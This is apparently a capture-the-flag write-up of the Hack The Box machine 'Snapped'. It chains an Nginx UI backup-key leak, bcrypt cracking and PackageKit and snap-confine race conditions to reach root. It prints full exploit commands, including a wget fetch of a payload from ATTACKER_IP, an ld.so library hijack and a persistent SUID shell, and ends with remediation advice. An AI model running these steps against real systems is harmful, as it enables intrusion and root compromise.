HTB Snapped (Hard): CVE-2026-27944, bcrypt, and Two Paths to Root via PackageKit and snap-confine
Introduction
Snapped is a retired Hard Linux machine (Ubuntu 24.04) that combines multiple CVEs and a weak password to achieve root. The attack chain starts with subdomain enumeration, exploits an unauthenticated backup endpoint in Nginx UI (CVE-2026-27944), cracks a bcrypt hash to obtain SSH access, and then offers two privilege escalation paths: an unintended TOCTOU in PackageKit (CVE-2026-41651) and the intended race condition in snap-confine (CVE-2026-3888).
Attack Overview
RECON FOOTHOLD USER ROOT
───── ──────── ──── ────
nmap (22,80) CVE-2026-27944 bcrypt crack [UNINTENDED] CVE-2026-41651
ffuf subdomain Nginx UI /api/backup (hashcat rockyou) PackageKit TOCTOU
nuclei scan unauthenticated jonathan:linkinpark SUID bash → root
admin.snapped.htb backup + key leak SSH ─────────────────
AES-256 decrypt [INTENDED] CVE-2026-3888
JwtSecret + NodeSecret snap-confine race
rogue admin user ld.so hijack → root
JWT → dashboard
Reconnaissance
Port Scan
sudo nmap -sS -sV -sC 10.129.6.170
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
Add the domain to /etc/hosts:
echo "10.129.6.170 snapped.htb" >> /etc/hosts
Web Enumeration
The main site (snapped.htb) is a static one-page site. Subdomain fuzzing:
ffuf -w /path/to/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.snapped.htb" \
-u http://snapped.htb \
-fs 154
Result: admin (Status 200, Size 1407). Add it:
echo "10.129.6.170 admin.snapped.htb" >> /etc/hosts
admin.snapped.htb presents an Nginx UI login panel.
Nuclei Findings
Running Nuclei against the admin subdomain yields critical hits:
[CVE-2026-27944:backup_security_header] [http] [critical]
http://admin.snapped.htb/api/backup
["0yG0pp87RunNfbSOJtu2C9znNq7uQvoJXjkwxe0eL4A=:b+xqOUPbrtSqDvY3v4nDaw=="]
[CVE-2026-33032] [http] [critical]
http://admin.snapped.htb/mcp_message
CVE-2026-27944 is the primary exploitation vector.
Foothold – CVE-2026-27944 (Nginx UI Unauthenticated Backup)
Vulnerability Details
Nginx UI versions prior to 2.3.3 expose an unauthenticated /api/backup endpoint (CWE-306). The backup is encrypted with AES-256, but the AES key and IV are returned in plaintext in the X-Backup-Security HTTP header (CWE-311). An attacker can request the backup, receive the decryption key, and decrypt the archive without any credentials.
Exploitation
Using a public PoC:
python3 CVE-2026-27944.py -u http://admin.snapped.htb/ --create-user hacker
Output excerpt:
[+] AES Key (256-bit): bb8ea11069add590db215aae681ffd28e0ec54244f257cee08c70b6ec9e933b6
[+] AES IV (128-bit): fcc50d504fb46d6e253bf9809d16d762
[+] === Extracted Secrets from app.ini ===
JwtSecret: 6c4af436-035a-4942-9ca6-172b36696ce9
Node Secret: c64d7ca1-19cb-4ebe-96d4-49037e7df78e
Crypto Secret: 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
[+] === Users from database ===
ID=1 Name=admin Password=$2a$10$8YdBq4e...
ID=2 Name=jonathan Password=$2a$10$8M7JZS...
[+] User 'hacker' created (ID=3), password: QLj20PZRtXNRd73a
[+] JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Set the JWT as a cookie in the browser:
document.cookie="token=eyJhbGci...;path=/"
Refresh to access the Nginx UI admin panel.
User Flag – Cracking Jonathan’s bcrypt Hash
The backup exposed two bcrypt hashes. Jonathan’s hash:
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
Crack with Hashcat (mode 3200):
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Result: linkinpark (cracked in 15 seconds).
SSH access:
ssh jonathan@snapped.htb
# password: linkinpark
jonathan@snapped:~$ cat user.txt
[redacted]
Privilege Escalation – Initial Checks
sudo -l returns no permissions. LinPEAS reveals two critical vectors:
- PackageKit version vulnerable to CVE-2026-41651 (Pack2TheRoot)
- SUID
snap-confinebinary pointing toward CVE-2026-3888
Root – Unintended Path: CVE-2026-41651 (PackageKit TOCTOU)
Vulnerability
CVE-2026-41651 (CVSS 8.8) is a TOCTOU race condition in PackageKit’s transaction state machine. By making two rapid InstallFiles calls (first with a SIMULATE flag to pass authorization, second with a malicious .deb), an attacker can install a SUID binary as root.
Exploitation
Serve the PoC from the attacker machine:
git clone https://github.com/Vozec/CVE-2026-41651.git
cd CVE-2026-41651
python3 -m http.server 7777
On the victim:
wget http://ATTACKER_IP:7777/cve-2026-41651
chmod +x cve-2026-41651
./cve-2026-41651
Output:
[*] Step 1: InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2: InstallFiles(NONE=0x0, payload) [async]
[!] PK error 48: Failed to obtain authentication.
[+] SUCCESS - SUID bash at t+6200ms
Obtain root:
.suid_bash -p
whoami # root
cat /root/root.txt
[redacted]
Root – Intended Path: CVE-2026-3888 (snap-confine Race Condition)
This is the intended escalation. It exploits a race condition in snap-confine (SUID binary) when setting up a mount namespace.
Vulnerability
The race occurs between the creation of a temporary root filesystem (/tmp/snap.rootfs_*) and its lockdown. An attacker can swap the dynamic linker (ld-linux-x86-64.so.2) inside the temporary root with a malicious library. When snap-confine later executes a binary as root, it loads the attacker’s library.
Exploitation (Three-Terminal Session)
Terminal 1 – Spawn a confined shell and hold the race window:
systemd-run --user --scope --unit=snap.init$(date +%s) \
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
--base core22 snap.firefox.hook.configure /bin/bash
echo $$ # e.g. 3049
while test -d ./.snap; do touch ./; sleep 1; done
Terminal 2 – Trigger the race and swap the dynamic linker:
systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash -c \
"env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
--base snapd snap.firefox.hook.configure /nonexistent; exit"
~/firefox_2404 ~/librootshell.so
Terminal 3 – Inject the malicious library and execute as root:
PID=$(cat /proc/3049/cwd/race_pid.txt)
cd /proc/$PID/root
cp /usr/bin/busybox ./tmp/sh
cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
--base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
Result:
BusyBox v1.36.1 built-in shell (ash)
/ # whoami
root
Drop a persistent SUID bash:
cp /bin/bash /var/snap/firefox/common/bash
chmod 04755 /var/snap/firefox/common/bash
exit
/var/snap/firefox/common/bash -p
bash-5.1# cat /root/root.txt
[redacted]
Vulnerabilities Summary
| CVE | Component | Type | CVSS | Impact |
|---|---|---|---|---|
| CVE-2026-27944 | Nginx UI < 2.3.3 | Unauth backup + key leak | 9.8 | Credential dump, admin |
| – | bcrypt hash (weak password) | Weak credential | – | SSH access as jonathan |
| CVE-2026-41651 | PackageKit 1.0.2–1.3.4 | TOCTOU LPE | 8.8 | Root (unintended) |
| CVE-2026-3888 | snap-confine / snapd 2.63 | Mount namespace race | – | Root (intended) |
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| CVE-2026-27944 (Nginx UI backup) | Unauthenticated endpoint + key disclosure in header | Never expose admin interfaces publicly; enforce auth on every endpoint; never return cryptographic keys in HTTP responses |
| Weak bcrypt hash | linkinpark appears early in rockyou.txt | Enforce password complexity and length; use multi-factor authentication |
| CVE-2026-41651 (PackageKit TOCTOU) | Race condition in transaction state machine | Update PackageKit to ≥1.3.5; disable PackageKit on servers if not needed; monitor D-Bus calls |
| CVE-2026-3888 (snap-confine race) | Non-atomic check-and-use of temporary rootfs | Patch snapd; monitor SUID binary executions; alert on unusual SNAP_INSTANCE_NAME values |
Resources
- Nmap — Port scanning and service detection
- ffuf — Subdomain and directory fuzzing
- Nuclei — Vulnerability scanning
- Hashcat — Password hash cracking (mode 3200 for bcrypt)
- CVE-2026-27944 PoC — Nginx UI backup disclosure
- CVE-2026-41651 PoC — PackageKit Pack2TheRoot
- CVE-2026-3888 PoC — snap-confine race condition
- LinPEAS — Local privilege escalation enumeration